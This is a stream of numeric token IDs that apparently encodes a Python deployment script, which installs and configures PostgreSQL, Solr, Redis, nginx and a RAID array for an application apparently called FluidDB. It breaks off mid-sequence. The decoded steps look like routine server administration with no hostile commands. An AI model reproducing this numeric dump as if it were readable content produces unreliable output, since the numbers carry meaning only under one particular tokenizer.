511, 525, 1745, 17225, 6169, 13, 4706, 931, 29889, 17059, 29898, 29896, 29897, 13, 4706, 363, 7977, 297, 1051, 29898, 29886, 2548, 13072, 9351, 1125, 13, 9651, 1018, 29901, 13, 18884, 7977, 29889, 5504, 580, 13, 9651, 5174, 17522, 29906, 5103, 2392, 29901, 13, 18884, 1596, 525, 5103, 1059, 6169, 13, 18884, 1596, 376, 10310, 29915, 29873, 7243, 293, 29892, 445, 5491, 5930, 29892, 1811, 1449, 1213, 13, 9651, 565, 7977, 29889, 14930, 358, 29918, 3859, 580, 1275, 318, 29915, 1131, 3791, 2396, 13, 18884, 28235, 13072, 9351, 29889, 5992, 29898, 24623, 29897, 13, 13, 1678, 1596, 525, 3596, 18167, 10959, 29901, 13420, 525, 4286, 7122, 29898, 24623, 29889, 333, 363, 7977, 297, 18167, 29897, 13, 13, 1678, 8829, 29889, 3069, 29918, 1807, 353, 2777, 29889, 29881, 1983, 29918, 978, 13, 13, 1678, 565, 7431, 29898, 1555, 9351, 29897, 1405, 29871, 29896, 29901, 13, 4706, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 22821, 328, 29885, 1495, 13, 4706, 1596, 525, 9832, 1218, 18865, 1367, 1409, 6169, 13, 4706, 9224, 353, 518, 24623, 29889, 14930, 29918, 1272, 29889, 10141, 29889, 6506, 11219, 3359, 29914, 4928, 742, 8207, 3359, 29914, 29916, 27491, 1495, 13, 462, 259, 363, 7977, 297, 18167, 29962, 13, 4706, 9224, 353, 525, 15300, 7122, 29898, 3359, 1575, 29897, 13, 4706, 9196, 877, 3487, 328, 29885, 1192, 3258, 426, 29900, 29913, 1192, 5563, 1153, 333, 29896, 29900, 1192, 6921, 29922, 3582, 1192, 465, 2017, 29899, 14941, 525, 13, 632, 525, 489, 12240, 29899, 3359, 1575, 426, 29896, 29913, 426, 29906, 29913, 4286, 4830, 29898, 12240, 11501, 29892, 954, 13072, 9351, 29892, 9224, 876, 13, 4706, 9196, 877, 8057, 5012, 19059, 426, 29900, 29913, 5099, 847, 7070, 29914, 3487, 328, 29885, 29914, 3487, 328, 29885, 29889, 5527, 4286, 4830, 29898, 3359, 1575, 876, 13, 4706, 9196, 877, 3487, 328, 29885, 1192, 16432, 1192, 16192, 891, 12680, 426, 29900, 29913, 891, 525, 13, 632, 525, 15360, 734, 29872, 448, 29874, 847, 7070, 29914, 3487, 328, 29885, 29914, 3487, 328, 29885, 29889, 5527, 4286, 4830, 29898, 12240, 11501, 876, 13, 13, 4706, 396, 24948, 278, 8466, 304, 671, 278, 6790, 5285, 29887, 29892, 6467, 372, 13, 4706, 396, 674, 671, 1554, 763, 847, 3359, 29914, 3487, 29896, 29906, 29955, 13, 4706, 9196, 877, 5504, 29899, 2344, 2572, 5847, 448, 29884, 1495, 13, 13, 4706, 4742, 353, 1153, 333, 11501, 13, 1678, 1683, 29901, 13, 4706, 4742, 353, 18167, 29961, 29900, 1822, 14930, 29918, 1272, 29889, 10141, 29889, 6506, 11219, 3359, 29914, 4928, 742, 8207, 3359, 29914, 29916, 27491, 1495, 13, 13, 1678, 1596, 525, 2500, 1218, 4742, 6169, 13, 1678, 9196, 877, 11256, 5847, 29889, 1062, 29946, 426, 29900, 29913, 4286, 4830, 29898, 10141, 876, 13, 1678, 9196, 877, 8057, 29850, 29900, 29913, 426, 29896, 29913, 1294, 29946, 694, 271, 603, 29871, 29900, 29871, 29900, 29908, 5099, 847, 7070, 29914, 29888, 29256, 4286, 4830, 29898, 10141, 29892, 13, 462, 462, 462, 18884, 5766, 2605, 876, 13, 13, 1678, 1596, 525, 27648, 292, 4742, 6169, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 426, 29900, 29913, 4286, 4830, 29898, 16476, 2605, 876, 13, 1678, 9196, 877, 16476, 1273, 29879, 29915, 1273, 5766, 2605, 29897, 13, 1678, 1596, 525, 14191, 6169, 13, 13, 13, 1753, 16087, 8754, 5416, 4051, 29898, 2974, 1170, 29892, 2566, 15551, 29892, 899, 29878, 4219, 29892, 899, 29878, 2713, 3163, 29892, 13, 462, 268, 1653, 12763, 29922, 8516, 29892, 899, 29878, 17518, 29922, 8516, 1125, 13, 1678, 9995, 20967, 4151, 567, 263, 22576, 4051, 18209, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 29892, 6441, 29879, 278, 20501, 2205, 29890, 2752, 775, 322, 6166, 701, 13, 1678, 278, 5181, 5285, 2066, 29889, 13, 13, 1678, 910, 871, 6579, 4151, 567, 2379, 5416, 4051, 29889, 4918, 7201, 29892, 4956, 29878, 322, 916, 5786, 1996, 13, 1678, 916, 8260, 29889, 13, 13, 1678, 9995, 13, 1678, 396, 16052, 11780, 13, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 525, 13, 308, 525, 29890, 29920, 29878, 6315, 27035, 29899, 2974, 29899, 3359, 29899, 29929, 29889, 29896, 3017, 29899, 3359, 3017, 29899, 13096, 525, 13, 308, 525, 4691, 29899, 18714, 6272, 1207, 1480, 23361, 1722, 593, 15926, 1495, 13, 13, 1678, 396, 6204, 263, 525, 1579, 5416, 3888, 29915, 1404, 13, 1678, 9196, 877, 15360, 788, 1792, 1192, 5205, 1192, 5184, 847, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 525, 13, 308, 525, 632, 1192, 479, 3944, 376, 8754, 5416, 3888, 12985, 1699, 1192, 18279, 29899, 5630, 525, 13, 308, 525, 632, 1192, 15903, 847, 2109, 29914, 13067, 22576, 3888, 1495, 13, 1678, 9196, 877, 305, 776, 448, 29934, 22576, 3888, 847, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 1495, 13, 13, 1678, 396, 5020, 1359, 322, 731, 701, 278, 775, 29889, 13, 1678, 18209, 2605, 353, 2897, 29889, 2084, 29889, 7122, 11219, 29879, 15291, 742, 1923, 1170, 29897, 13, 1678, 26554, 353, 12865, 29889, 329, 29883, 3707, 2141, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 19222, 29950, 29995, 29924, 1495, 13, 1678, 26554, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29897, 13, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 426, 29900, 29913, 4286, 4830, 29898, 276, 4924, 2605, 876, 13, 1678, 9196, 877, 305, 776, 448, 29934, 22576, 3888, 426, 29900, 29913, 4286, 4830, 29898, 16519, 358, 2605, 876, 13, 13, 1678, 1887, 877, 5559, 18871, 1192, 13506, 29922, 1579, 5416, 3888, 29914, 448, 29894, 1192, 4830, 9913, 17714, 3035, 891, 525, 13, 3986, 525, 29890, 7554, 29906, 1405, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 1925, 877, 1579, 5416, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 9196, 877, 6814, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 426, 29900, 29913, 4286, 4830, 29898, 276, 4924, 2605, 876, 13, 13, 1678, 411, 14965, 29898, 276, 4924, 2605, 1125, 13, 4706, 9196, 877, 305, 776, 448, 29934, 22576, 3888, 426, 29900, 29913, 4286, 4830, 29898, 276, 4924, 2605, 876, 13, 4706, 9196, 877, 305, 776, 22576, 3888, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 4706, 9196, 877, 12637, 432, 29916, 29894, 29888, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 722, 29914, 1188, 722, 29914, 1188, 29914, 15003, 722, 29914, 3389, 722, 29914, 7050, 742, 13, 632, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 1678, 411, 14965, 29898, 359, 29889, 2084, 29889, 7122, 29898, 276, 4924, 2605, 29892, 525, 1579, 5416, 3888, 8785, 29901, 13, 4706, 9196, 877, 18714, 6272, 869, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 847, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 13096, 29899, 8173, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 6904, 2109, 29914, 13096, 2601, 1192, 1509, 29899, 11038, 729, 29879, 525, 13, 632, 525, 489, 10382, 29899, 8173, 14327, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 13096, 29899, 8173, 525, 13, 632, 525, 489, 1188, 847, 7050, 29914, 13096, 29889, 1188, 525, 13, 632, 17411, 29878, 11780, 29889, 3945, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 565, 1653, 12763, 29901, 13, 9651, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 525, 13, 462, 525, 1678, 16087, 29899, 9803, 426, 29900, 29913, 4286, 4830, 29898, 9803, 15551, 511, 13, 462, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 396, 1334, 671, 445, 304, 1207, 1854, 393, 278, 2566, 338, 6284, 13252, 29889, 13, 4706, 9196, 877, 2109, 29914, 4691, 9016, 29914, 1579, 5416, 3888, 525, 13, 632, 525, 1678, 13261, 29899, 4882, 426, 29900, 29913, 4286, 4830, 29898, 9803, 15551, 511, 13, 632, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 4706, 396, 7525, 2989, 22471, 29950, 373, 599, 899, 29878, 528, 3163, 29889, 13, 4706, 565, 899, 29878, 17518, 29901, 13, 9651, 363, 528, 538, 297, 899, 29878, 2713, 3163, 29889, 5451, 29898, 3788, 1125, 13, 18884, 1065, 877, 18963, 1732, 597, 29912, 29900, 6822, 1272, 5215, 29973, 6519, 29922, 8159, 29899, 5215, 29987, 29915, 13, 462, 1678, 525, 14941, 29922, 3009, 29987, 15060, 29922, 3009, 29987, 20640, 675, 29922, 4541, 4286, 4830, 29898, 845, 538, 876, 13, 13, 4706, 396, 1551, 9150, 13285, 29892, 5941, 701, 847, 7050, 13, 4706, 9196, 877, 1758, 448, 29888, 847, 7050, 29914, 13096, 29889, 1188, 1495, 13, 13, 1678, 396, 14187, 322, 6230, 5285, 2066, 29889, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 16519, 358, 29899, 2084, 2396, 18209, 2605, 29892, 13, 308, 525, 2974, 29899, 978, 2396, 1923, 1170, 29892, 13, 308, 525, 276, 4924, 29899, 2084, 2396, 26554, 2605, 29892, 13, 308, 525, 2929, 29878, 29899, 2271, 2396, 899, 29878, 4219, 29892, 13, 308, 525, 2929, 29878, 29899, 845, 3163, 2396, 899, 29878, 2713, 3163, 29892, 13, 308, 525, 2490, 7201, 29899, 5338, 2396, 2566, 15551, 1118, 13, 13, 4706, 6702, 1579, 5416, 3888, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 29889, 6886, 742, 13, 9651, 22372, 276, 4924, 29899, 2084, 6822, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 5477, 13, 13, 4706, 6702, 1188, 23361, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 6886, 742, 13, 9651, 8207, 7070, 29914, 1188, 23361, 29889, 29881, 29914, 1579, 5416, 3888, 29899, 2754, 5477, 13, 13, 4706, 6702, 786, 2962, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 29889, 6886, 742, 13, 9651, 8207, 7070, 29914, 2344, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 5477, 13, 13, 4706, 6702, 786, 2962, 29914, 1579, 5416, 3888, 29899, 2754, 29899, 3177, 29889, 5527, 29889, 6886, 742, 13, 9651, 8207, 7070, 29914, 2344, 29914, 1579, 5416, 3888, 29899, 2754, 29899, 3177, 29889, 5527, 5477, 13, 13, 4706, 6702, 593, 15926, 29914, 593, 15926, 29889, 5527, 742, 13, 9651, 8207, 7070, 29914, 3150, 593, 15926, 29914, 593, 15926, 29889, 5527, 8785, 13, 13, 1678, 411, 14965, 29898, 16519, 358, 2605, 1125, 13, 4706, 9196, 877, 3083, 448, 5847, 426, 29900, 29913, 1857, 4286, 4830, 29898, 276, 4924, 876, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 3150, 593, 15926, 10715, 1495, 13, 1678, 9196, 877, 2962, 22576, 3888, 29899, 2754, 1495, 13, 13, 13, 1753, 2767, 8754, 5416, 4051, 29898, 2974, 1170, 1125, 13, 1678, 9995, 6422, 263, 2379, 5416, 4051, 18209, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 29892, 6441, 29879, 278, 20501, 2205, 29890, 2752, 775, 322, 6166, 701, 13, 1678, 278, 5181, 5285, 2066, 29889, 13, 13, 1678, 910, 871, 11217, 2379, 5416, 4051, 29889, 4918, 7201, 29892, 4956, 29878, 322, 916, 5786, 1996, 13, 1678, 916, 8260, 29889, 13, 13, 1678, 960, 278, 1923, 338, 716, 29892, 366, 881, 671, 365, 29912, 8704, 8754, 5416, 4051, 29913, 2012, 29889, 13, 13, 1678, 9995, 13, 1678, 396, 5020, 1359, 322, 731, 701, 278, 775, 29889, 13, 1678, 18209, 2605, 353, 2897, 29889, 2084, 29889, 7122, 11219, 29879, 15291, 742, 1923, 1170, 29897, 13, 1678, 26554, 353, 12865, 29889, 329, 29883, 3707, 2141, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 19222, 29950, 29995, 29924, 1495, 13, 1678, 26554, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 26554, 29897, 13, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 426, 29900, 29913, 4286, 4830, 29898, 276, 4924, 2605, 876, 13, 13, 1678, 1887, 877, 5559, 18871, 1192, 13506, 29922, 1579, 5416, 3888, 29914, 448, 29894, 1192, 4830, 9913, 17714, 3035, 891, 525, 13, 3986, 525, 29890, 7554, 29906, 1405, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 1925, 877, 1579, 5416, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 742, 26554, 2605, 29892, 671, 29918, 15360, 29922, 5574, 29897, 13, 13, 1678, 411, 14965, 29898, 276, 4924, 2605, 1125, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 722, 29914, 1188, 722, 29914, 1188, 29914, 15003, 722, 29914, 3389, 722, 29914, 7050, 1495, 13, 4706, 9196, 877, 305, 776, 448, 29934, 22576, 3888, 426, 29900, 29913, 4286, 4830, 29898, 276, 4924, 2605, 876, 13, 4706, 9196, 877, 12637, 432, 29916, 29894, 29888, 22576, 3888, 29889, 12637, 29889, 29890, 29920, 29906, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 13, 1678, 411, 14965, 29898, 359, 29889, 2084, 29889, 7122, 29898, 276, 4924, 2605, 29892, 525, 1579, 5416, 3888, 8785, 29901, 13, 4706, 9196, 877, 18714, 6272, 869, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 11256, 3972, 448, 29886, 847, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 13096, 29899, 8173, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 9196, 877, 6904, 2109, 29914, 13096, 2601, 1192, 1509, 29899, 11038, 729, 29879, 525, 13, 632, 525, 489, 10382, 29899, 8173, 14327, 1707, 29914, 1982, 29914, 1579, 5416, 3888, 29914, 13096, 29899, 8173, 525, 13, 632, 525, 489, 1188, 847, 7050, 29914, 13096, 29889, 1188, 525, 13, 632, 17411, 29878, 11780, 29889, 3945, 742, 1404, 2433, 1579, 5416, 3888, 1495, 13, 4706, 396, 1551, 9150, 13285, 29892, 5941, 701, 847, 7050, 13, 4706, 9196, 877, 1758, 448, 29888, 847, 7050, 29914, 13096, 29889, 1188, 1495, 13, 13, 1678, 679, 29898, 359, 29889, 2084, 29889, 7122, 29898, 16519, 358, 2605, 29892, 525, 3784, 742, 525, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 5477, 13, 4706, 525, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 1495, 13, 1678, 2295, 353, 22038, 3991, 11726, 580, 13, 1678, 411, 1722, 877, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 742, 525, 29878, 1495, 408, 2295, 2283, 29901, 13, 4706, 2295, 29889, 949, 18091, 29898, 2917, 2283, 29897, 13, 13, 1678, 396, 14187, 322, 731, 701, 5285, 2066, 29889, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 16519, 358, 29899, 2084, 2396, 18209, 2605, 29892, 13, 308, 525, 2974, 29899, 978, 2396, 1923, 1170, 29892, 13, 308, 525, 276, 4924, 29899, 2084, 2396, 26554, 2605, 29892, 13, 308, 525, 2929, 29878, 29899, 2271, 2396, 2295, 29889, 657, 877, 2248, 742, 525, 2271, 5477, 13, 308, 525, 2929, 29878, 29899, 845, 3163, 2396, 2295, 29889, 657, 877, 2248, 742, 525, 845, 3163, 5477, 13, 308, 525, 2490, 7201, 29899, 5338, 2396, 2295, 29889, 657, 877, 8899, 742, 525, 3396, 29899, 5338, 1495, 1118, 13, 13, 4706, 6702, 1579, 5416, 3888, 29914, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 29889, 6886, 742, 13, 9651, 22372, 276, 4924, 29899, 2084, 6822, 1579, 5416, 3888, 29899, 2754, 29889, 5527, 8785, 13, 13, 1678, 1887, 877, 1758, 22576, 3888, 29899, 2754, 29889, 5527, 1495, 13, 13, 1678, 396, 14402, 29901, 1423, 13261, 267, 29889, 13, 1678, 396, 14402, 29901, 2767, 1873, 4055, 29889, 13, 13, 1678, 411, 14965, 29898, 16519, 358, 2605, 1125, 13, 4706, 9196, 877, 1758, 1857, 1495, 13, 4706, 9196, 877, 3083, 448, 5847, 426, 29900, 29913, 1857, 4286, 4830, 29898, 276, 4924, 876, 13, 13, 1678, 363, 2011, 297, 3464, 29898, 29929, 29900, 29900, 29896, 29892, 29871, 29929, 29900, 29900, 29929, 1125, 13, 4706, 9196, 877, 5060, 442, 22576, 3888, 29899, 2754, 29899, 3177, 349, 8476, 16328, 29881, 29915, 1273, 2011, 29897, 13, 13, 13, 1753, 16087, 6747, 7201, 29898, 2974, 1170, 29892, 25879, 6638, 2558, 29922, 8516, 29892, 25879, 28459, 2558, 29922, 8516, 1125, 13, 1678, 9995, 20967, 4151, 567, 4918, 7201, 304, 664, 411, 2379, 5416, 4051, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 322, 6166, 701, 278, 5181, 5285, 2066, 29889, 13, 13, 1678, 910, 871, 6579, 4151, 567, 4918, 7201, 29889, 2379, 5416, 4051, 29892, 4956, 29878, 322, 916, 5786, 1996, 13, 1678, 916, 8260, 29889, 13, 1678, 9995, 13, 1678, 396, 16052, 11780, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 525, 13, 308, 525, 29272, 29899, 29929, 29889, 29896, 1495, 13, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29272, 5040, 1495, 13, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 847, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 1495, 13, 1678, 9196, 877, 11256, 3972, 448, 29886, 847, 1707, 29914, 1982, 29914, 29272, 29914, 1627, 786, 1495, 13, 13, 1678, 18209, 2605, 353, 2897, 29889, 2084, 29889, 7122, 11219, 29879, 15291, 742, 1923, 1170, 29897, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 2974, 29899, 978, 2396, 1923, 1170, 29892, 13, 308, 525, 10467, 29899, 5943, 29899, 1989, 2396, 25879, 6638, 2558, 29892, 13, 308, 525, 10467, 29899, 19024, 29899, 1989, 2396, 25879, 28459, 2558, 29892, 13, 308, 525, 16519, 358, 29899, 2084, 2396, 18209, 2605, 1118, 13, 13, 4706, 6702, 2490, 7201, 29914, 29272, 29889, 5527, 742, 13, 9651, 8207, 7070, 29914, 29272, 29914, 29929, 29889, 29896, 29914, 3396, 29914, 29272, 29889, 5527, 5477, 13, 13, 4706, 6702, 2490, 7201, 29914, 4061, 29918, 29882, 2291, 29889, 5527, 742, 13, 9651, 8207, 7070, 29914, 29272, 29914, 29929, 29889, 29896, 29914, 3396, 29914, 4061, 29918, 29882, 2291, 29889, 5527, 5477, 13, 13, 4706, 6702, 2490, 7201, 29914, 1627, 786, 29889, 845, 29889, 6886, 742, 13, 9651, 8207, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 1627, 786, 29889, 845, 5477, 13, 13, 4706, 6702, 2490, 7201, 29914, 14941, 29899, 3972, 1017, 29899, 12650, 29889, 845, 742, 13, 9651, 8207, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 14941, 29899, 3972, 1017, 29899, 12650, 29889, 845, 5477, 13, 13, 4706, 6702, 2490, 7201, 29914, 7283, 609, 370, 742, 13, 9651, 8207, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 7283, 609, 370, 5477, 13, 13, 4706, 6702, 29879, 29941, 29914, 29890, 3747, 29889, 16859, 29889, 6886, 742, 8207, 7070, 29914, 29890, 3747, 29889, 16859, 8785, 13, 13, 1678, 9196, 877, 305, 776, 448, 29934, 1400, 7201, 29901, 2490, 7201, 847, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 1495, 13, 1678, 9196, 877, 305, 776, 448, 29934, 1400, 7201, 29901, 2490, 7201, 847, 1707, 29914, 1982, 29914, 29272, 29914, 1627, 786, 1495, 13, 13, 1678, 9196, 877, 305, 1545, 718, 29916, 847, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 1627, 786, 29889, 845, 1495, 13, 1678, 9196, 877, 305, 1545, 718, 29916, 847, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 14941, 29899, 3972, 1017, 29899, 12650, 29889, 845, 1495, 13, 1678, 9196, 877, 7283, 609, 370, 448, 29884, 1400, 7201, 847, 1707, 29914, 1982, 29914, 29272, 29914, 16713, 29914, 7283, 609, 370, 1495, 13, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 29272, 1369, 1495, 13, 1678, 396, 1281, 4532, 1400, 7201, 13, 1678, 9196, 877, 3258, 1792, 448, 29928, 448, 29934, 448, 29903, 448, 29893, 22576, 3888, 742, 1404, 2433, 2490, 7201, 1495, 13, 1678, 9196, 877, 11600, 29890, 22576, 3888, 448, 29949, 22576, 3888, 742, 1404, 2433, 2490, 7201, 1495, 13, 1678, 9196, 703, 15945, 8057, 376, 1964, 4945, 16641, 1307, 22576, 3888, 22659, 12524, 11341, 29979, 7982, 3352, 17687, 1799, 17013, 12801, 25711, 17013, 29958, 11838, 891, 13, 9651, 282, 2850, 22576, 3888, 15945, 613, 1404, 2433, 2490, 7201, 1495, 13, 13, 13, 1753, 16087, 13296, 29878, 29898, 2974, 1170, 29892, 2566, 15551, 29892, 954, 2713, 3163, 29892, 528, 538, 1367, 1125, 13, 1678, 9995, 20967, 4151, 567, 4956, 29878, 304, 664, 411, 2379, 5416, 4051, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 322, 6166, 701, 278, 5181, 5285, 2066, 29889, 13, 13, 1678, 910, 871, 6579, 4151, 567, 4956, 29878, 29889, 2379, 5416, 4051, 29892, 4918, 7201, 322, 916, 5786, 1996, 13, 1678, 916, 8260, 29889, 13, 1678, 9995, 13, 1678, 396, 16052, 11780, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 525, 13, 308, 525, 424, 4707, 277, 29946, 4303, 4061, 29899, 1645, 899, 29878, 29899, 9435, 899, 29878, 29899, 24468, 29432, 29953, 525, 13, 308, 525, 3150, 24255, 29899, 29953, 29899, 24255, 4303, 22382, 29899, 3893, 29899, 1645, 4303, 955, 25245, 29899, 8504, 29899, 1645, 1495, 13, 13, 1678, 4423, 353, 376, 991, 597, 15343, 8305, 29889, 1212, 24629, 1579, 5416, 3888, 29914, 29974, 10867, 29914, 25044, 2205, 29890, 29914, 29974, 5325, 12975, 13, 1678, 9741, 353, 518, 13, 4706, 525, 1982, 19605, 5559, 29899, 1645, 29918, 29900, 29889, 29896, 29899, 19296, 3301, 7068, 2891, 29995, 29906, 29933, 27517, 29896, 29896, 29946, 29941, 29900, 29947, 29941, 29899, 29896, 30022, 13410, 29896, 30022, 29880, 1682, 333, 29906, 29918, 497, 29889, 16529, 742, 13, 4706, 525, 2929, 29878, 29899, 9435, 29918, 29941, 29889, 29946, 29889, 29900, 29899, 29900, 30022, 13410, 29941, 30022, 29880, 1682, 333, 29906, 29918, 497, 29889, 16529, 742, 13, 4706, 525, 2929, 29878, 29899, 24468, 29918, 29941, 29889, 29946, 29889, 29900, 29899, 29900, 30022, 13410, 29941, 30022, 29880, 1682, 333, 29906, 29918, 497, 29889, 16529, 29915, 13, 1678, 4514, 13, 13, 1678, 363, 3577, 297, 9741, 29901, 13, 4706, 9196, 877, 18963, 448, 29931, 426, 29900, 29913, 1405, 847, 7050, 19248, 29896, 29913, 4286, 4830, 29898, 5479, 718, 3577, 29892, 3577, 876, 13, 4706, 9196, 877, 6099, 9415, 448, 29875, 847, 7050, 19248, 29900, 29913, 4286, 4830, 29898, 5113, 876, 13, 4706, 9196, 877, 1758, 448, 29888, 847, 7050, 19248, 29900, 29913, 4286, 4830, 29898, 5113, 876, 13, 13, 1678, 396, 5020, 1359, 322, 731, 701, 278, 775, 29889, 13, 1678, 1887, 877, 12637, 448, 29926, 11023, 29888, 899, 29878, 29889, 12637, 29889, 29890, 29920, 29906, 2048, 29889, 3134, 2115, 1495, 13, 1678, 1925, 877, 2929, 29878, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 1065, 877, 12637, 448, 29926, 29916, 29894, 29888, 899, 29878, 29889, 12637, 29889, 29890, 29920, 29906, 1495, 13, 1678, 1065, 877, 424, 14631, 1495, 13, 1678, 9196, 877, 3083, 448, 5847, 847, 4855, 29914, 13653, 29914, 1645, 29914, 29272, 29889, 4758, 847, 4855, 29914, 13653, 29914, 2929, 29878, 29914, 8851, 29933, 29899, 24065, 29914, 1982, 29914, 1495, 13, 1678, 9196, 877, 3083, 448, 5847, 847, 4855, 29914, 13653, 29914, 1645, 29914, 19605, 5559, 29889, 4758, 847, 4855, 29914, 13653, 29914, 2929, 29878, 29914, 8851, 29933, 29899, 24065, 29914, 1982, 29914, 1495, 13, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 2490, 7201, 29899, 5338, 2396, 2566, 15551, 29892, 13, 308, 525, 2974, 29899, 978, 2396, 1923, 1170, 29892, 13, 308, 525, 1949, 29899, 845, 3163, 2396, 851, 29898, 1949, 2713, 3163, 511, 13, 308, 525, 845, 538, 29899, 333, 2396, 851, 29898, 845, 538, 1367, 19230, 13, 13, 4706, 6702, 2929, 29878, 29914, 11010, 29889, 3134, 742, 8207, 7070, 29914, 2929, 29878, 29914, 5527, 29914, 11010, 29889, 3134, 5477, 13, 4706, 6702, 2929, 29878, 29914, 2929, 29878, 2917, 29889, 3134, 742, 8207, 7070, 29914, 2929, 29878, 29914, 5527, 29914, 2929, 29878, 2917, 29889, 3134, 5477, 13, 4706, 6702, 2929, 29878, 29914, 1272, 5215, 29889, 11330, 742, 8207, 7070, 29914, 2929, 29878, 29914, 5527, 29914, 1272, 5215, 29889, 11330, 5477, 13, 4706, 6702, 2929, 29878, 29914, 1272, 29899, 2917, 29889, 3134, 29889, 6886, 742, 8207, 7070, 29914, 2929, 29878, 29914, 5527, 29914, 1272, 29899, 2917, 29889, 3134, 5477, 13, 4706, 6702, 2929, 29878, 29914, 2676, 29889, 3134, 742, 8207, 7070, 29914, 2929, 29878, 29914, 2676, 29889, 3134, 8785, 13, 13, 1678, 9196, 877, 305, 776, 29432, 29953, 29901, 24468, 29953, 847, 7070, 29914, 2929, 29878, 29914, 5527, 29914, 1272, 5215, 29889, 11330, 1495, 13, 1678, 9196, 877, 6814, 1320, 29914, 4039, 4387, 18184, 550, 24784, 29889, 4758, 847, 4855, 29914, 13653, 29914, 2929, 29878, 29914, 8851, 29933, 29899, 24065, 29914, 1982, 1495, 13, 1678, 9196, 11219, 7070, 29914, 2344, 29889, 29881, 29914, 24468, 29953, 10715, 1495, 13, 13, 13, 1753, 16087, 9039, 275, 29898, 2974, 1170, 1125, 13, 1678, 9995, 20967, 4151, 567, 4367, 275, 304, 664, 411, 2379, 5416, 4051, 29889, 13, 13, 1678, 910, 2601, 29879, 9962, 322, 6166, 701, 278, 5181, 5285, 13, 1678, 2066, 29889, 13, 13, 1678, 910, 871, 6579, 4151, 567, 4367, 275, 29889, 2379, 5416, 4051, 29892, 4918, 7201, 322, 916, 5786, 1996, 13, 1678, 916, 8260, 29889, 13, 13, 1678, 9995, 13, 1678, 396, 16052, 11780, 13, 1678, 9196, 877, 2287, 12809, 2190, 29918, 15860, 1164, 29911, 11794, 29922, 5464, 1639, 4925, 10882, 29899, 657, 2601, 448, 29891, 525, 13, 308, 525, 1127, 275, 29899, 2974, 1495, 13, 13, 1678, 7246, 3991, 10547, 29898, 13, 4706, 11117, 2974, 29899, 978, 2396, 1923, 1170, 1118, 13, 13, 4706, 6702, 1127, 275, 29914, 1127, 275, 29889, 5527, 742, 8207, 7070, 29914, 1127, 275, 